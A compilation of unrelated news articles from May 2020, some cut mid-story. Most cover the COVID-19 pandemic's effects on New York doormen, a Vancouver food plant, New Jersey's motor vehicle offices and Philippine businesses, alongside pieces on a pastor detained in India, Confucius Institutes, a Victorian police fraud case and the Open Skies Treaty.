The unions contract has been amended to allow workers to go from five eight-hour shifts per week to three 12-hour shifts, to reduce the number of commutes, while building owners absorb the cost of a shorter work week. Some but not all employers have also reimbursed their workers who choose to use ride-sharing services or parking for their own vehicles to avoid mass transit.

To help meet the demand for protective personal equipment, building owners banded together to make bulk purchases of face masks and gloves, said Dennis DePaola, executive vice president and general counsel for Orsid Realty Corp., which manages 175 residential properties that employ 2,000 people throughout the New York City region.

As building staffs received the proper protective gear, new protocols were put in place to ensure their safety. It has also meant pulling back on the level of service that residents depend on.

Leaky faucets or changing light bulbs go unfixed, DePaola said. As long as its not going to overflow, were not touching it. If there is a significant risk of property damage then well do so under social distancing guidelines.

Ronnie Correa, a doorman at a Park Avenue cooperative apartment complex built in 1921, said the situation can be nerve-wracking.

We try not to think about it," Correa said. "Several tenants in our building cant do very much. We have to take the risk and go in and help.

Correa has seen his responsibilities intensify during the pandemic. Relatives of elderly occupants in his building have his cellphone number and some call daily to ask him for updates on their loved ones. During his lunch hour, he will do grocery shopping or run errands for some of the residents who cant leave their apartments.

I dont mind it, he said. I like it. Its brought us closer together.

The additional pressure the workers face has been somewhat mitigated by the exodus of many residents in upscale buildings who headed for second homes in upstate New York or Long Island. Occupancy rates in luxury buildings along Fifth and Park Avenues are under 50%.

Correa, DeJesus and others said residents have observed the rules and shown no resentment over reduced services during the trying period. Some have received bonus checks from residents for their efforts.

When this is done, Im going to write a personal letter to everyone in the building, DeJesus said. They have been great.

But in the back of the mind of workers and management agents is the possible impact of a prolonged economic downturn in New York City.

DePaola said building owners have to pay for personal protection equipment and additional salaries for relief staff that fill in for workers who get sick, refuse to come in, or have been exposed to someone who has the virus, requiring them to be quarantined for two weeks.

"I love serving the people of New York," said DeJesus, who has worked as a doorman for 25 years. (Stephen Battaglio / Los Angeles Times)

At the same time, income from rents and maintenance or condominium common charges could fall as unemployment rises and people are less able to pay. Residential buildings that have retail businesses as tenants, providing as much as 40% of their operating budgets, have seen that revenue disappear as well.

Rothschild becomes concerned when he hears politicians call for a freeze on rent, maintenance fees and mortgage payments as a means of providing economic relief during the pandemic.

That could be a big problem," he said. "The other service people in the building want to get paid. The bank wants to get paid the mortgage. The city wants its taxes. Anyone who can possibly pay should be paying."

The coronavirus has killed about 15,400 people in the city and brought on economic uncertainty, especially for the real estate industry. Residents in buildings with doormen are hoping it doesn't permanently interfere with the ritual they have long enjoyed.

The doormen are really part of our lives, said Betsy West, a filmmaker and professor at Columbia University who lives in a cooperative apartment building in Morningside Heights. The pandemic has changed things a little bit. You feel a little uncomfortable standing in a closed-in lobby, even if you have masks on.
Bengaluru-based Aster DM healthcare and investment firm Life Science Vision Capital along with social entrepreneurship promoter firm Social Alpha jointly announced on Friday to have set up the country's first incubator-cum-accelerator to develop health technology start-ups.

The incubator-cum-accelerator, XHealth Innovation Lab, has been set up with an initial corpus of USD 50 million (nearly Rs 380 crore) for which investors have already given commitment for 60 per cent of the funding, according to a source involved in the venture.

Aster DM Healthcare Chief Innovation Officer Satish Prasad Rath said COVID-19 has pushed the healthcare system to look for disruptive solutions be it newer lab-on-a-chip diagnostics, support system for healthcare workers in form of personal protection equipment or remote ICU diagnostics to virtually managing chronic and elderly patients through digital healthcare.

"Combining Aster's network of hospitals and healthcare expertise with Life Science Vision Capital's investment philosophy and industry-leading capabilities, we aspire to accelerate the discovery of new therapies by leveraging deep tech in the field of healthcare. We intend to build these newer solutions that can revitalise the healthcare system in a sustainable way," Rath said.

The newly formulated innovation labs will run its own incubator XHealth Innovation Lab and incubate 10 start-ups in each cohort twice a year and develop both scientific and commercial solutions, the statement said.

"Life science and health tech companies are always looking for a data-driven digital innovation approach to help fuel the creation of accessible healthcare solutions. We look forward to collaborating with Aster DM healthcare and other business partners to help accelerate the cycle of healthcare innovation to populations throughout the world," LSV Capital Partners Managing Partner Shu Joshi said.

Aster and LSV will leverage deep analytics across the new platform to better understand key diseases and extract-related insights.

"The innovation lab will run its own 12-week incubator programme coupled with 2 weeks at Aster's hospitals in Bengaluru with 10 health tech start-ups graduating in January 2021. Applications will open on June 20 for the first cohort starting in October 2020," the statement said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
President Donald Trump has a face covering with the presidential seal on it, but he refused to wear it Thursday on the public part of his tour of a Ford plant in Michigan despite factory policy.

The president was given a mask by Ford. He was photographed wearing a mask at the plant, and a source familiar with the matter confirmed the authenticity of the photo.

"I wore one in this back area, but I didn't want to give the press the pleasure of seeing it," Trump told reporters during an appearance at a Ford plant in Ypsilanti that is making ventilators to combat the coronavirus.

He then displayed the black face covering, which has the presidential seal in the corner. "I think I look better in the mask," Trump said before offering a different explanation for why he wasn't wearing it. "I'm making a speech, so I won't have it on now," he said.

He then said he didn't need a mask because he'd been tested earlier in the day, as were the people he was meeting with.

In a statement, the company said Executive Chairman Bill Ford had "encouraged" Trump to wear a mask when he arrived. "He wore a mask during a private viewing of three Ford GTs from over the years. The president later removed the mask for the remainder of the visit," the statement said.

Ford made the White House aware of its policy ahead of Trump's visit that "everyone wears PPE to prevent the spread of COVID-19" inside the plant, but it also made it clear that company officials wouldn't challenge the president. "We have shared our policies and recommendations. The White House has its own safety and testing policies in place and will make its own determination," the company said in a statement this week.

State Attorney General Dana Nessel, a Democrat, sent an open letter Wednesday urging Trump to wear a mask at the plant, saying the requirement "is not just the policy of Ford."

"By virtue of the governor's executive orders" it "is currently the law of this State," Nessel said.

Story continues

Nessel argued that Trump has "a social and moral responsibility" to take reasonable precautions against spreading the virus.

"The president is like a petulant child who refuses to follow the rules," she said on CNN after Trump's visit.

Trump late Thursday criticized Nessel in two tweets calling her the "Wacky Do Nothing Attorney General of Michigan" and saying she "viciously threatening Ford Motor Company for the fact that I inspected a Ventilator plant without a mask" and noted he did wear a mask.

House Speaker Nancy Pelosi, D-Calif., told reporters earlier in the day she thought it was important for the president and the vice president to set good examples for the rest of the country by following the Centers for Disease Control and Prevention's recommendation that Americans wear face coverings in public. Both have been criticized for not wearing masks during appearances over the past month.

"I would hope that the president and the vice president would wear a mask. They don't wear a mask, why not? Other people should, so they should set an example," Pelosi said. "They have doctors around them all the time to administer to their various needs. Other people don't have that."

Trump, asked whether he was concerned about not setting a good example, said, "I think it sets an example both ways."
India forces detained American pastor to pay $50K before hes allowed to return home

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A Tennessee pastor, who was detained in India for seven months before returning to the United States Tuesday, was forced to pay over $50,000 to secure his release, his lawyer said.

Lawyers for the American Center for Law and Justice announced Monday that charges against Pastor Bryan Nerren were officially dropped by prosecutors in India on Friday, resulting in a judge lifting travel restrictions and returning his passport.

Nerren is the pastor of International House of Prayer Ministries in Shelbyville, Tennessee, and founder of a nonprofit called Asian Childrens Education Fellowship, an organization that trains Sunday school teachers in India and Nepal.

Nerren posted a video on his Facebook page Tuesday, showing him in an airplane as he returned to the U.S. He posted another update once he arrived at John F. Kennedy Airport in New York City.

His troubles began on Oct. 5, 2019, when he was arrested after stepping off a domestic flight in Bagdogra. Nerren was in the middle of a two-week trip to visit religious leaders in India and Nepal.

He was questioned about failing to pay duty on $40,000 in cash he brought into the country when he first arrived in New Delhi.

According to The ACLJ, which is representing Nerren, the money was to be used to cover the cost of two conferences.

The law group says Nerrens failure to pay duty on the money is a result of a misunderstanding with airport officials in New Dehli. Further, the ACLJ noted that Nerren was not carrying the minimum amount of money that would have made it a crime to evade tax duty.

Nerren was jailed for six days in Siliguri before he was allowed to pay bail. Although he was released and paid about $4,000 in fines, he was prohibited from leaving the country to return home to his family.

A misunderstanding that should have taken just hours to resolve administratively within customs, turned into a seven-month ordeal, involving false arrest, false charges, jail time, seizure of passport, travel ban, court hearings, custom reports, and appeals, ACLJ Executive Director Jordan Sekulow said in a statement.

The reality is Pastor Nerren was never informed of the duty, although he openly declared the funds to customs in New Delhi. He was, however, specifically asked if he was a Christian and if the funds would be used to support Christian causes.

ACLJ lawyer Cece Heil previously told The Christian Post that even though New Delhi customs agents told Nerren he could continue with his travels, he was falsely arrested when he arrived in Bagdogra.

We are thrilled that Pastor Nerren has been allowed to return home to his family, who have desperately needed him, Sekulow added.

Sekulow thanked U.S. Ambassador to India Kenneth Juster for his engagement in Nerrens case as well as the engagement of four members of U.S. Congress: Sens. Marsha Blackburn, R-Tenn., and James Lankford, R-Okla., as well as Reps. Scott SeJarlais, R-Tenn., and Jody Hice, R-Ga.

In a letter sent to Foreign Secretary Subrahmanyam Jaishankar in March, the Congress members pointed out that Nerren had accepted an offer to compound his sentence and compile $7,000 to be transferred to Indian customs upon the finalization of the agreement.

But Indian authorities demanded that Nerren submit a waiver of forfeiture for the money lost. According to U.S. lawmakers, that request was not included in the original conditions.

"The only way customs said they would let Pastor Nerren leave was by compounding the offense, which basically means dropping the charges and withdrawing the prosecution  according to their terms  which included keeping all of the $40,000, plus the penalty of $4,203.57, and an additional compounding fee of almost $2,000," Heil told CP in an email.

"Pastor Nerren was required to pay almost $50,000 before they would allow him to leave India. And that does not include his attorney fees. A situation that by law should have been resolved in 10 minutes by customs simply having Pastor Nerren fill out a one-page document and pay roughly $3,000 ended up costing Pastor Nerren $50,000-plus and 7 months of his life."

According to Heil, it doesn't seem there is any recourse available at the moment for Nerren to get his money back.

"At this time, it seems it is lost," Heil told CP.

In their letter, the representatives also noted that Nerrens six-month visa required him to leave the country by April 2.

We request that India uphold their end of the offer, as Mr. Nerren has upheld his, by finalizing the compounding of the offense and allowing him to return to his family, they urged in the letter.

India ranks as the 10th worst country in the world when it comes to Christian persecution on Open Doors USAs 2020 World Watch List. India has fallen 11 spots on the list since 2015. Since the Bharatiya Janata Party rose to power in 2014, a wave of Hindu nationalism has swept the country and led to increased persecution of religious minority communities.

In late April, the U.S. Commission on International Religious Freedom recommended that the U.S. State Department label India as a country of particular concern for tolerating or engaging systematic, ongoing, egregious violations of religious freedom.

The Indian government has not publicly taken any responsibility for the alarming rate of human rights violations occurring within its borders and decried the new USCIRF recommendation as a "new level of misrepresentation.
She quoted a declaration in court filings from one of the inmates: I asked to be tested for the virus, but they said they dont have any tests. Last night I went to sick call again. I had a fever and a headache. They told me that my fever wasnt high enough, and that they would only test me if it got higher. They told me to drink water and sent me back to the unit.
BRUSSELS (dpa-AFX) - The European Central Bank publishes the account of the monetary policy meeting of the Governing Council held on April 29 and 30 at 7.30 am ET Friday. Ahead of the release, the euro held steady against its major counterparts. The euro was worth 1.0910 against the greenback, 117.24 against the yen, 0.8954 against the pound and 1.0599 against the franc at 7:25 am ET. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
(Natural News) Dozens of Chinese propaganda centers still operate across the United States, even as U.S. lawmakers debate how to hold the communist country accountable for withholding information about the coronavirus, which originated in Chinas Wuhan province.

(Article by Jon Street republished from CampusReform.org)

For years, Campus Reform has reported on the number of Confucius Institutes on U.S. college campuses. Funded by the communist regime, these centers are marketed as Chinese language and culture centers. However, U.S. intelligence officials have warned that these centers are little more than propaganda arms of the communist country.

The radical left will stop at nothing to intimidate conservative students on college campuses. You can help expose them. Find out more 

Even the former Chinese propaganda minister, Liu Yushan, wrote in a 2010 article for Chinese-state media, With regard to key issues that influence our sovereignty and safety, we should actively carry out international propaganda battles against issuers such as Tibet, Xinjiang, Taiwan, human rights and Falun Gong.  We should do well in establishing and operating overseas cultural centers and Confucius Institutes, Politico reported in 2018.

While China and the U.S. disagree on most things, this appears to be one area in which officials from both countries share opinions.

FBI Director Christopher Wray said during a 2018 congressional hearing when asked about Confucius Institutes on college campuses, The level of naivete on the part of the academic sector about this creates its own issues. Theyre exploiting the very open research and development environment that we have, which we all revere. But theyre taking advantage of it.

CIA reports obtained by The Washington Free Beacon further revealed, The [Chinese Communist Party] provides strings-attached funding to academic institutions and think tanks to deter research that casts it in a negative light. It has used this tactic to reward pro-China viewpoints and coerce Western academic publications and conferences to self-censor. The CCP often denies visas to academics who criticize the regime, encouraging many China scholars to preemptively self-censor so they can maintain access to the country on which their research depends.

While legislation signed into law by President Donald Trump in 2018 resulted in about a dozen U.S. colleges shuttering Confucius Institutes on campus, those closures were largely the result of their loss of funding, rather than concerns for the countrys national security.

And now, nearly two years after that legislation became law, more than 75 Confucius Institutes are still in operation in the U.S., most of them on college campuses. From Maine to Florida to Kansas to California, these centers claim to educate American students about Chinese language and culture, and administrators who run the campuses on which they operate appear to believe the same country that claims to have fewer coronavirus deaths than the U.S, despite its population being more than three times the size of the U.S. population.

Based on data from the National Association of Scholars, along with records maintained by Campus Reform, the interactive map below shows the locations where Confucius Institutes still operate. Hover your cursor over each dot to reveal the name of each college or school that currently hosts one of these centers.

Read more at: CampusReform.org
More than three-dozen employees at a Vancouver food processing company have tested positive for the coronavirus. It appears to be the Portland areas biggest workplace outbreak thus far, excluding the healthcare sector.

Josh Hinerfeld, CEO of Firestone Pacific Foods, said the company had its first confirmed case midday Sunday and learned of two more later that afternoon. The Vancouver plant shut down Monday but the infection total has now grown to 38, including 26 new cases confirmed Friday, according to public health authorities.

Firestone employs 150 altogether, Hinerfeld said. He said he believes one of the infected employees has been hospitalized but is doing OK.

On Saturday morning, Hinerfeld said a nearby health care facility had shut down normal operations to make room to test Firestoness remaining workforce, and to retest some of those who previously tested negative.

Food processing facilities have emerged as a major source of infection across the country, apparently because employees work indoors and are often in close proximity to one another. There have been at least two such workplace outbreaks in Oregon  in Astoria and Albany.

As businesses in Oregon and Washington reopen amid a gradual loosening of coronavirus restrictions, Hinerfeld said his companys experience should serve as a cautionary tale.

We thought we had a pretty good plan in place and boy, it bit us in the rear end, he said. This genie is not back in the bottle.

Despite the concentration of coronavirus outbreaks among workers at fruit, vegetable, seafood and meat processing facilities, health authorities say they havent seen evidence the coronavirus can be spread through food. The World Health Organization says it is highly unlikely people would become infected by the virus through food because COVID 19 is a respiratory illness.

Firestone processes frozen fruit. Hinerfeld said the company took several steps to protect employees before the outbreak, including social distancing, temperature checks, providing masks to employees and offering expanded sick leave.

Clark Countys public health department said late Friday that it is tracking the Firestone outbreak and working to trace the contacts of infected employees. Department spokeswoman Marissa Armstrong said it is collaborating with the company to implement additional controls to prevent infections whenever the facility reopens.

Those controls include things like installing barriers between work stations, installing more handwashing stations, staggering work shifts and lunch/break schedules, she wrote in an email.

This article has been updated with additional cases confirmed Friday afternoon and with comment from Clark County.

-- Mike Rogoway | mrogoway@oregonian.com | twitter: @rogoway | 503-294-7699

Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories.
Metro Manila (CNN Philippines, May 22)  Private firms and construction companies have scaled down business activities as they step back to reassess their operations under the "new normal," industry leaders said Friday.

In a webinar organized by the Makati Business Club and the National Resilience Council, BDO Unibank president and chief executive officer Nestor Tan said he has noticed a surge in loans immediately after the government placed Luzon under enhanced community quarantine in mid-March, which lasted until April.

When most areas saw relaxed lockdown rules by May, Tan noted there had been a "slowdown" in credit applications as businesses pause to figure out how they will reopen with the coronavirus a remaining threat.

Ignacio Mijares, president and CEO at Cemex Holdings Philippines, had the same view: developers have taken a "wait-and-see" approach, as they look for cues on how government plans to roll out its infrastructure projects.

President Rodrigo Duterte's economic team said it will continue the government's flagship construction projects under the "Build, Build, Build" program, counting it as a crucial strategy for economic recovery.

READ: DPWH chief says big-ticket 'Build, Build, Build' projects will push through despite COVID-19 crisis

Together with business survival, companies are most concerned about how they can retain their employees, especially for smaller businesses.

"All COVID-19 programs should preserve and eventually create jobs," said Ayala Corporation chairman and CEO Jaime Augusto Zobel de Ayala.

The billionaire businessman suggested the government formalize a structured wage subsidy program, which grants incentives for micro businesses to keep their employees and make them more resilient.

RELATED: How will small businesses survive in this crisis?

He added that a public-private partnership model for response measures would work best to combat the pandemic, saying data and science can be shared between the two camps. Big businesses have pitched in billions of pesos in food donations and are boosting the country's COVID-19 testing capacity.

For his part, Tan said while productive capacity is still intact for private firms, they need to reopen as soon as possible to preserve this. He added that the government is keen on assisting small businesses through easy loans, but financial firms need to observe credit "discipline" as they hand out cash.

For his part, Bangko Sentral ng Pilipinas Governor Benjamin Diokno called the COVID-19 pandemic as an "unprecedented crisis," and batted for a massive job creation program which may be implemented at the barangay level. The former budget secretary said additional funds may be footed by stimulus measures pending before Congress, which he wants passed via special sessions if necessary.
Someone like Frank Gupton is hard to come by, Boyan said. We got lucky and we got him.

Gupton, 69, is a Virginia Beach native who received his bachelors degree in chemistry at the University of Richmond, followed by a masters degree at Georgia Tech and a doctoral degree at VCU. He spent 31 years in the chemical manufacturing industry, retiring in 2007 as executive director of process development at Boehringer Ingelheim Pharmaceuticals Inc., which then owned the Petersburg factory that will become the hub for Phlow production under new owner AMPAC Fine Chemicals.

Holsworth credits Fred Hawkridge, associate dean at the College of Humanities and Sciences, for VCUs coup. He told me, We absolutely have to hire this man! Holsworth said.

A year after Gupton retired, he noticed that Boehringer Ingelheim was moving to outsource the active pharmaceutical ingredients of drugs it manufactured to China. It didnt bode well for the Petersburg site [which closed in 2014], he said.

He was well-acquainted with the process of continuous manufacturing in the commodity chemical industry, but it was new to the pharmaceutical industry, which produced drug ingredients in batches.
At 53, Ms. Jennifer may just be the oldest animal that a Massachusetts shelter has ever been charged with adopting into a new home.

The tortoise arrived at the Massachusetts Society for the Prevention of Cruelty to Animals on May 9 after her owner was admitted to the hospital. The owner died this week of COVID-19.
Drivers who bought vehicles from another person have gotten an unwelcome surprise during the last two months  they cant get the license plates and registration they need to drive them, due to the coronavirus closing motor vehicle agencies.

Drivers whove bought a vehicle from a private owner found out that registering their new ride requires an in-person transaction at motor vehicle agencies. But state Motor Vehicle Commission agencies were closed on March 16 to reduce exposure to COVID-19.

A Budd Lake woman said she is unable to use the truck she bought in March and now fears she might lose her job because of it. Drivers who buy vehicles from dealers can get a temporary tag, an option not open to buyers from private individuals.

Lined up behind them are a legion of young drivers to be, waiting to get learners permits or take tests for that right-of-passage to get a first drivers license. That also requires multiple trips to the MVC.

Schedule appointments, give them a number and have them wait in their car for a text, stand in line 6-feet apart, have plexiglass in front of their window to pass information, said Mary Beth Lee of Hamilton, whos daughter who needs her license for a summer job. As for the road test, both driver and instructor wear a mask and leave windows in car open.

But in 22 other states, DMVs are allowing drivers back into agencies on a limited basis  usually by appointment and for business that cant do on-line.

Virginia is the latest state to open 14 DMV agencies Monday that were retrofitted to minimize contact between customers and workers. Drivers who were aware of it asked why cant New Jersey do something similar.

We expect to have all of our (75) offices open by the end of July or the beginning of August, said Jessica Cowardin, a Virginia DMV spokeswoman.

Heres how they did it: Clear plastic barriers were installed at windows to separate DMV clerks and customers. In addition, every other clerks window is closed, so theyre six feet apart, she said.

More changes:

- Waiting areas have fewer chairs that are six feet apart.

- Customers have to wait in their cars until 10 minutes before their appointment and must wear a mask.

- Greeters remind customers to practice social distancing.

As of this (Wednesday) morning, we have booked nearly 70,000 appointments statewide, she said. We have assisted approximately 4,000 customers with approximately 8,000 transactions in the first two days at the customer service centers that reopened on Monday.

Additional offices will reopen once clear plastic partitions have been installed on front counters, she said.

Roughly 22 states have some form of limited access to motor vehicle agencies for essential transactions by appointment according to the American Association of Motor Vehicles Administrators. Two other states allow drivers to process vehicle titles and registrations by mail or drop-off.

North Dakota is working on a restart plan using appointments for priority on-site services only. Ohio is planning to reopen DMV facilities on May 26.

Were definitely working hard on that, said William Connolly, an MVC spokesman, about investigating alternatives for transactions that cant be done online.

But processes that work in other states may not work here because of the states population density and the immensity of the COVID-19 pandemic, officials said.

MVC Chief Administrator Sue Fulton said she is familiar with what DMVs in other states have done as a board member of the American Association of Motor Vehicle Administrators.

Every jurisdiction has different statutes, different situations, different considerations, she said. No other U.S. state is as densely populated as New Jersey, no other state serves as many Motor Vehicle customers per location as New Jersey, and few if any states have sustained the COVID-19 impact that New Jersey has.

How big is the workload? In fiscal year 2020, MVC officials forecast agencies would process and issue 14.29 million documents, of those 6.67 million were drivers licenses, 2.98 million were vehicle titles and 2. 55 million were vehicle registrations.

The MVC issued 506,459 learners permits, according to MVC statistics from the state Office of Legislative Services. Virginia has 6.16 million drivers, New Jersey has 6.46 million licensed drivers.

We have considered many possible options, and we will make the right decisions for the state of New Jersey, "Fulton said. "Our first priority is the health and safety of our customers and our employees, and we are working hard to develop and implement reopening plans that best fit our state and its residents.

But that answer wasnt satisfactory for frustrated parents.

Schedule appointments, give them a number and have them wait in their car for a text, stand in line six feet apart, have plexiglass in front of their window to pass information, said Mary Beth Lee of Hamilton, whose daughter needs her license for a summer job. As for the road test, both driver and instructor wear a mask and leave windows in car open.

Lee said the DMV should be considered an essential service.

There are other creative solutions that could be considered. Driving schools are licensed by the state and could easily be deputized on a temporary or permanent basis to conduct the road tests, she said. To hear that 10 weeks have gone by, and they have not have come up with a solution to open is unacceptable. People need drivers licenses and the use of their car.

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Larry Higgs may be reached at lhiggs@njadvancemedia.com.
Depending on when the moon is sighted, Eid celebrations will begin either in the evening of 23 May (Saturday), or 24 May (Sunday) in 2020.

The date of Eid is traditionally dependent on the sighting of the moon. Based on the lunar calendar, Eid-ul-Fitr or Eid al-Fitr commences with the sighting of the new crescent moon which brings an end to the month of Ramadan.

The holy month of Ramadan or Ramzan is marked by fasting to commemorate the first revelation of the Quran to Prophet Muhammad. The festivities occur in the ninth month of Islamic calendar and the ceremony is considered to be one of the five pillars of Islam.

Depending on when the moon is sighted, Eid celebrations will begin either in the evening of 23 May (Saturday), or 24 May (Sunday) in 2020.

Moon sighting in India

In India, all eyes will be on the night sky on 23 May. If the moon is spotted on Saturday, Eid al-Fitr 2020 will be on 24 May (Sunday). If not, Ramzan Eid will be observed on 25 May (Monday).

Moon sighting in Saudi Arabia

In Saudi Arabia, the Supreme Court has asked Muslims throughout the country to report the sighting of the crescent moon. According to a report in The Hindustan Times, the court has said, Whoever sights the moon with naked eyes or through binoculars, report to the nearest court and register testimony, or report to an authority of a regions centre in the area.

The report adds that astronomers at the observatory of Majmaah University near Riyadh confirmed on Thursday that the crescent moon is unlikely to be sighted on Friday (22 May).

Astronomers from Abu Dhabi's International Astronomical Centre said Eid ul-Fitr would most likely fall on 24 May as spotting the new moon would be impossible due to the setting of the moon before the sun.
The next head of the Presbyterian Church in Ireland will take office at a special ceremony streamed live on the internet.

Rev David Bruce will be installed as Moderator at Assembly Buildings in Belfast on June 1.

Normally the event is attended by hundreds of guests. However, due to the coronavirus pandemic, this year just a handful of people will be present.

The installation will take place on what would have been the opening night of this year's General Assembly.

The annual meeting was cancelled last month due to the Covid-19 emergency, but this year's installation will be broadcast online. A link to the livestream will be made available on the PCI website.

The Clerk of the General Assembly, Rev Trevor Gribben, said: "This is always a special moment in the life of our Church and for our new Moderator and their family.

"This year, by necessity, it will also be a different kind of ceremony for a particularly unique time in our history.

"We very much hope that many will join us by watching the livestream on the night."

A small standing commission of the General Assembly has been appointed to oversee urgent business, including the installation of the new Moderator.

Traditionally the service would have been attended by upwards of 900 people from across Ireland, including past moderators, civic dignitaries and representatives from other churches across Europe, Africa and Asia.

This year, apart from technical support, only four people will be physically present - the outgoing Moderator, Rt Rev Dr William Henry; Moderator-Designate, Rev David Bruce; Rev Gribben; and the Deputy Clerk of the General Assembly, Rev Jim Stothers.

Other people will be participating remotely in the livestream from the Assembly Hall, leading in prayer and praise and reading from the Scriptures.

Also taking part, but remotely via a video conferencing platform, will be the members of the 2020 Standing Commission, which has been set up to conduct all necessary business of this year's Assembly.

Rev Gribben said: "If we think back to that cold winter's evening of February 4, when our Church's 19 regional Presbyteries met and nominated David Bruce as our next Moderator, who would have thought that so many of the things that we have taken for granted would have changed so much in such a short space of time?

"As I have said before, our General Assembly has been part of the rhythm of our Church life since 1840.

"It is the Presbyterian family coming together, and as far as I am aware a meeting has never been cancelled, only postponed, due to a different kind of national emergency in 1940."

Rev Gribben continued: "Yet, unprecedented times often call for unprecedented responses, and like many organisations, we have found it necessary to find different ways of working to do what needs to be done, and this includes the installation of our new Moderator."

Rev Gribben explained that those present in the Assembly Hall would follow all appropriate health and safety precautions.

Rev Bruce is the 175th person to hold the office of Moderator.

From Banbridge, he is the secretary to the Church's Council for Mission in Ireland and is the first to hold the position from outside parish ministry in more than 20 years.
A Victorian police sergeant misused her job as a police officer to take over strangers' properties in an elaborate, fraudulent bid to build an investment empire.

'Energetic fraudster' Rosa Rossi changed locks on six vacant properties without the owners' knowledge.

Three were in the western Victorian town of Willaura and the rest in the Melbourne suburbs of Malvern, Chadstone and Brooklyn.

Former Victoria Police sergeant Rosa Rossi (pictured) posed as a landlord for six vacant properties and collected rent between between April 2016 and June 2017

Pictured: A rural property in Lara that Rossi attempted to acquire in October 2019

The 57-year-old took over the houses between April 2016 and June 2017, renting some out and using false documents as well as her job as a police officer to cover her tracks.

She misused the force's database to get information about vacant properties and at one point went to a suburban Melbourne council office in uniform to demand an owner's number.

When a concerned neighbour called police after spotting Rossi at one Willaura home, she said she was an officer, had keys and was buying the property.

Rossi eventually resigned from Victoria Police and pleaded guilty to nine charges including of obtaining property by deception, perjury, and unauthorised access to police information following an anti-corruption investigation.

She was depressed at the time and embarked on the fraud in a misguided attempt to build a property investment portfolio, the County Court of Victoria was on Friday told.

Judge Martine Marich described Rossi was an 'energetic fraudster'.

'It feels somewhat delusional,' the judge also said of the attempt to acquire the properties under a legal process known as adverse possession.

Rossi (pictured) fraudulently took over three homes in the western Victorian town of Willaura and three in the Melbourne suburbs of Malvern, Chadstone and Brooklyn

This allows someone to obtain ownership of a property if they can prove they've possessed it exclusively for at least 15 years.

One of Rossi's victims, a disability pensioner, described feeling angry, stupid and used.

After being sprung at the man's Willaura home, Rossi reassured the owner she was a police officer and convinced him to sell her the property.

The sale fell through when Rossi couldn't get a loan and her lies unravelled.

'It didn't seem right to me that a police officer would be up to anything fraudulent,' he said.

'I was gutted. I felt like a fool.

Rossi (pictured) pleaded guilty to nine charges including obtaining property by deception, perjury and unauthorised access to police information

'I still don't know why she did this.'

In October 2019 Rossi attempted to purchase a rural property in Lara, south-west of Melbourne, and claimed to represent a company called Sweet Georgia Real Estate Investments, The Age reported.

She wrote a letter to the owner of the Bacchus Marsh Road property and asked to settle the deal within a week.

Rossi claimed that she was 'in the business of sourcing and purchasing investment properties and assisting vendors'.

The owner responded: 'The possibility of a sale of a property to be finalised in seven days is ludicrous and offensive ... I have attempted to Google your business and the only information on the public forum is an ongoing investigation by IBAC.'

Prosecutor Peter Pickering said Rossi acted ruthlessly, misused her position of authority and deserved to be jailed.

She remains on bail working on a farm and as a hairdresser, hoping to line up a job with Coles, the court was told.

She's due back in court on June 12.
YEREVAN, MAY 22, ARMENPRESS. Russia intends to follow the Open Skies Treaty provisions as long as these provisions exist, Russias Deputy Foreign Minister Alexander Grushko said.

The approach must be pragmatic. As long as the treaty is in force, we intend to fully follow all rights and obligations stemming from this document, he said, when asked if Russia will discuss with other participating countries USAs announcement on leaving the treaty, RIA Novosti reported.

Grushko expressed hope that the other members of the treaty will duly approach their obligations.

The US had earlier announced it would withdraw from the Open Skies Treaty and that in six months they would be free from any obligations. Among the reasons for withdrawing, it claimed that Russia is not following the conditions of the treaty. At the same time, President Trump said their decision can change if Russia starts to fully comply with the treaty terms. Russia denied all accusations.

Editing and Translating by Stepan Kocharyan
Zurich North America is expanding its professional apprenticeship program from its Chicagoland headquarters to its downtown New York City office this fall, with the Borough of Manhattan Community College (BMCC) as the education provider.

Zurich is a provider of insurance products and services to businesses and individuals. Its earn-while-you-learn apprenticeship program, launched at its Schaumburg headquarters in 2016, is designed to attract diverse talent to the insurance industry while providing a debt-free path to a professional career.

Zurich apprentices include high school graduates or those with an equivalent certification, veterans of the armed forces, people wanting to move from a job to a career, those returning to the workforce after a hiatus for family reasons, and others attracted by the prospect of a guaranteed job and promotion upon successful completion of the two-year program.

The New York expansion will contribute to Zurichs largest cohort of apprentices yet, according to a company press release.

Were proud to bring the Zurich Apprenticeship Program to New York, particularly at a time when many people are looking for new opportunities and signs of a brighter future, said Paul Horgan, Zurichs head of U.S. Commercial Insurance, in the release. Even with the challenges brought by COVID-19, we found a way to move forward with this expansion because Zurichs apprenticeship program has proven its value to our business and our industry.

In August, the inaugural New York cohort of Zurich apprentices will begin orientation and onboarding. From there, they will work on the job for three days per week and take BMCC courses for two days per week. Apprentices earn a full-time salary and benefits, including health insurance and 401(k) matching, and they pay no tuition.

We welcome the opportunity to collaborate with Zurich to offer this terrific opportunity for the college, our faculty, and most important, our students, said BMCC Acting Provost Erwin Wong in the release. We are continuously looking for means to partner with the global business community to offer our students preparation for and access to in-demand 21st century positions, particularly opportunities in the tri-state area. The apprenticeship program that Zurich offers will be of immense value to our students in terms of their marketability.

New York apprentices will be working toward certifications in General Insurance and an associate in Applied Science in Business Management. In 2020, Zurich is adding an Information Technology apprenticeship at its Schaumburg headquarters for the first time, alongside the General Insurance and Cyber apprenticeships.

Source: Zurich North America

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Linkedin Asip Hasani (The Jakarta Post) Surabaya, East Java  Fri, May 22, 2020 16:29 608 fc6853813033f564188675f8bd9adb1c 1 National COVID-19,East-Java,greater-surabaya,surabaya,surabaya-raya,Sidoarjo,Gresik,coronavirus,virus-corona,virus-korona-indonesia Free

Following the province's highest daily increase in COVID-19 cases to date, an epidemiologist on Thursday warned of another probable spike after Idul Fitri.

Epidemiologist Windhu Purnomo of Airlangga University (UNAIR) warned that the province should expect another surge in new cases after Idul Fitri as a result of lax public compliance with social distancing policies.

"We have seen people flooding the malls and supermarkets, where many can contract the virus, Windhu told The Jakarta Post on Friday.

